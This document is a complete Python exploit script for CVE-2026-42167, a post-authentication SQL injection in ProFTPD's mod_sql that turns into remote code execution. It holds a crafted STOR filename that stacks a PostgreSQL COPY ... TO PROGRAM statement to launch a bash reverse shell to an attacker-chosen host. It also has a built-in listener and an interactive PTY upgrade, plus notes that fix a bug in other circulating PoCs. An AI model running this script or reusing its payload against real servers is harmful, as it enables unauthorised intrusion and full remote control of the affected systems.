#!/usr/bin/env python3
"""
CVE-2026-42167 — ProFTPD mod_sql post-authentication SQL injection -> RCE
postauth_stor_rce.py --host --port 21 \
--user --password \
--shell-host --shell-port 4444
SUMMARY
ProFTPD's mod_sql logs FTP activity through user-supplied SQL. Its escaping
helper is_escaped_text() treats any value that BEGINS and ENDS with a single
quote and contains no interior single quote as "already escaped", and passes
it into the query verbatim. A STOR filename shaped that way therefore breaks
out of the logging INSERT and stacks a second statement. With a PostgreSQL
backend whose role is a superuser, that statement is COPY ... TO PROGRAM,
which runs an arbitrary OS command.
INSERT INTO xfer_log VALUES('', '', now())
basename = ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --'
-> INSERT INTO xfer_log VALUES('', null, null); -- 3 cols, closed
COPY (SELECT $$x$$) TO PROGRAM $$$$; -- stacked
--', '', now()) -- commented out
NOTE: the payload below closes a THREE-column logging INSERT ('', null, null).
The exact column count depends on the target's SQLLog / SQLNamedQuery INSERT
template — adjust the number of leading `, null` values so the opening
VALUES(...) is balanced before the stacked COPY.
Two constraints on the filename shape both queries around:
- NO interior single quote -> the injected SQL is dollar-quoted ($$...$$),
never single-quoted.
- NO forward slash '/' -> FTP forbids it in a filename. The reverse
shell needs /dev/tcp//, so the
slashes are produced at runtime by printf's
octal escape \57 ('/').
A COMMON BUG IN CIRCULATING PoCs (fixed here)
Most published PoCs build the path as one printf format string:
printf "\57dev\57tcp\57\57" # BROKEN
printf greedily consumes up to THREE octal digits after a backslash. "\57" is
only two, so if the very next character is itself an octal digit (0-7) it is
swallowed into the escape:
\57 + '1' -> \571 -> octal 571 = 0x179 -> 0x79 mod 256 = 'y'
So a host or port whose first character is 0-7 is silently corrupted — e.g. a
host of 10.10.14.7 becomes /dev/tcpy0.10.14.7 (the leading '1' is eaten). That
covers essentially every private-range attacker IP and most common listener
ports, which is why the bug is easy to miss (default values often fall in the
safe class) and painful to hit — the only symptom is a reverse shell that
never connects.
FIX (this script): keep the four literal slashes in the format string, where
each "\57" is followed by a non-octal character, and pass the attacker-
controlled host/port as printf ARGUMENTS instead of interpolating them into
the format string:
printf "\57dev\57tcp\57%s\57%s" "" "" # CORRECT
Now no user-controlled digit is ever adjacent to a "\57", so the corruption is
structurally impossible for any host/port and on any conforming printf.
CVE: CVE-2026-42167
SEVERITY: Critical (post-auth RCE)
"""
import argparse
import ftplib
import io
import os
import select
import signal
import socket
import sys
import termios
import threading
import time
import tty
def build_payload_filename(shell_host: str, shell_port: int) -> str:
"""Return the STOR filename that stacks a reverse-shell COPY TO PROGRAM.
The reverse-shell command carries the target host/port as printf arguments
(the fix), so no octal-escape corruption is possible.
"""
/dev/tcp// is assembled at runtime; the format string holds
only the slashes, the data is passed as %s arguments.
shell_cmd = (
f'S=$(printf "\\57dev\\57tcp\\57%s\\57%s" "{shell_host}" "{shell_port}");'
f'bash -c "bash -i >& $S 0>&1"'
)
payload = (
"', null, null); "
f"COPY (SELECT $$x$$) TO PROGRAM $${shell_cmd}$$"
"; --'"
)
is_escaped_text() bypass + FTP filename rules — assert, don't hope.
assert payload[0] == "'" and payload[-1] == "'", "must be single-quote wrapped"
assert "'" not in payload[1:-1], "no interior single quote allowed"
assert "/" not in payload, "no slash allowed in an FTP filename"
return payload
def interactive_shell(sock: socket.socket) -> None:
"""Upgrade the raw connect-back to a PTY and bridge the local terminal.
The connect-back is a plain `bash -i` with stdio wired to the socket: no
controlling terminal, so no job control and no `su`/`sudo` password prompt.
Replacing it with util-linux `script` forks bash inside a real PTY pair and
bridges that PTY to the inherited socket; the local terminal goes raw and
forwards keystrokes byte-for-byte.
"""
rows, cols = 24, 80
try:
size = os.get_terminal_size()
rows, cols = size.lines, size.columns
except OSError:
pass
sock.sendall(
b"export TERM=xterm-256color; exec script -qc bash /dev/null\n"
)
time.sleep(0.4)
sock.sendall(f"stty rows {rows} cols {cols}; clear\n".encode())
def on_winch(_sig, _frame):
try:
sz = os.get_terminal_size()
sock.sendall(f"stty rows {sz.lines} cols {sz.columns}\n".encode())
except (OSError, ValueError):
pass
old_winch = signal.signal(signal.SIGWINCH, on_winch)
old_tty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
while True:
r, _, _ = select.select([sock, sys.stdin], [], [])
if sock in r:
data = sock.recv(4096)
if not data:
break
os.write(sys.stdout.fileno(), data)
if sys.stdin in r:
data = os.read(sys.stdin.fileno(), 4096)
if not data:
break
sock.sendall(data)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)
signal.signal(signal.SIGWINCH, old_winch)
def main() -> int:
p = argparse.ArgumentParser(
description="CVE-2026-42167 ProFTPD mod_sql post-auth SQLi -> RCE"
)
p.add_argument("--host", required=True, help="FTP server host")
p.add_argument("--port", type=int, default=21, help="FTP port (default 21)")
p.add_argument("--user", required=True, help="FTP username")
p.add_argument("--password", required=True, help="FTP password")
p.add_argument(
"--shell-host", required=True,
help="Address the target connects back to (your listener)",
)
p.add_argument(
"--shell-port", type=int, default=4444,
help="Listener port (default 4444)",
)
p.add_argument(
"--timeout", type=int, default=30,
help="Seconds to wait for the connect-back (default 30)",
)
args = p.parse_args()
print("=" * 70)
print("CVE-2026-42167 : ProFTPD mod_sql post-auth SQLi -> RCE")
print("=" * 70)
--- reachability + banner -------------------------------------------
print(f"\n[*] Connecting to {args.host}:{args.port} ...")
try:
with socket.create_connection((args.host, args.port), timeout=8) as s:
banner = s.recv(256).decode(errors="replace").strip()
except OSError as e:
print(f"[-] Connection failed: {e}")
return 1
if "220" not in banner:
print(f"[-] Unexpected banner: {banner!r}")
return 1
print(f"[*] Banner: {banner}")
payload_filename = build_payload_filename(args.shell_host, args.shell_port)
print(f"[*] Reverse shell : {args.shell_host}:{args.shell_port}")
print(f"[*] Payload STOR : {len(payload_filename)} bytes (no '/', no interior quote)")
--- listener ---------------------------------------------------------
try:
srv = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
srv.bind(("::", args.shell_port))
except OSError:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", args.shell_port))
srv.listen(1)
srv.settimeout(args.timeout)
print(f"[+] Listening on 0.0.0.0:{args.shell_port}")
--- fire the injection ----------------------------------------------
STOR must SUCCEED for `SQLLog STOR` to fire, so the upload needs a working
passive data channel. The command runs during the STOR, so send it from a
background thread and wait for the connect-back on the main thread.
def fire():
time.sleep(0.5)
try:
ftp = ftplib.FTP()
ftp.connect(args.host, args.port, timeout=15)
ftp.login(args.user, args.password)
ftp.storbinary(f"STOR {payload_filename}", io.BytesIO(b"x"))
except Exception:
COPY TO PROGRAM blocks the STOR for the life of the shell, so the
control connection often errors out here — that is expected and
not a failure of the exploit.
pass
threading.Thread(target=fire, daemon=True).start()
print("[*] Injection sent, waiting for reverse shell ...")
try:
conn, addr = srv.accept()
except socket.timeout:
print(f"\n[-] No connection after {args.timeout}s.")
print(" Check: creds valid? target can reach "
f"{args.shell_host}:{args.shell_port} outbound? "
"listener port open locally?")
srv.close()
return 1
srv.close()
print(f"[+] Connection from {addr[0]}:{addr[1]}")
print("=" * 70)
print("[+] REMOTE CODE EXECUTION CONFIRMED — interactive shell follows")
print("=" * 70 + "\n")
try:
interactive_shell(conn)
except KeyboardInterrupt:
pass
finally:
conn.close()
print("\n[*] Shell closed.")
return 0
if __name__ == "__main__":
sys.exit(main())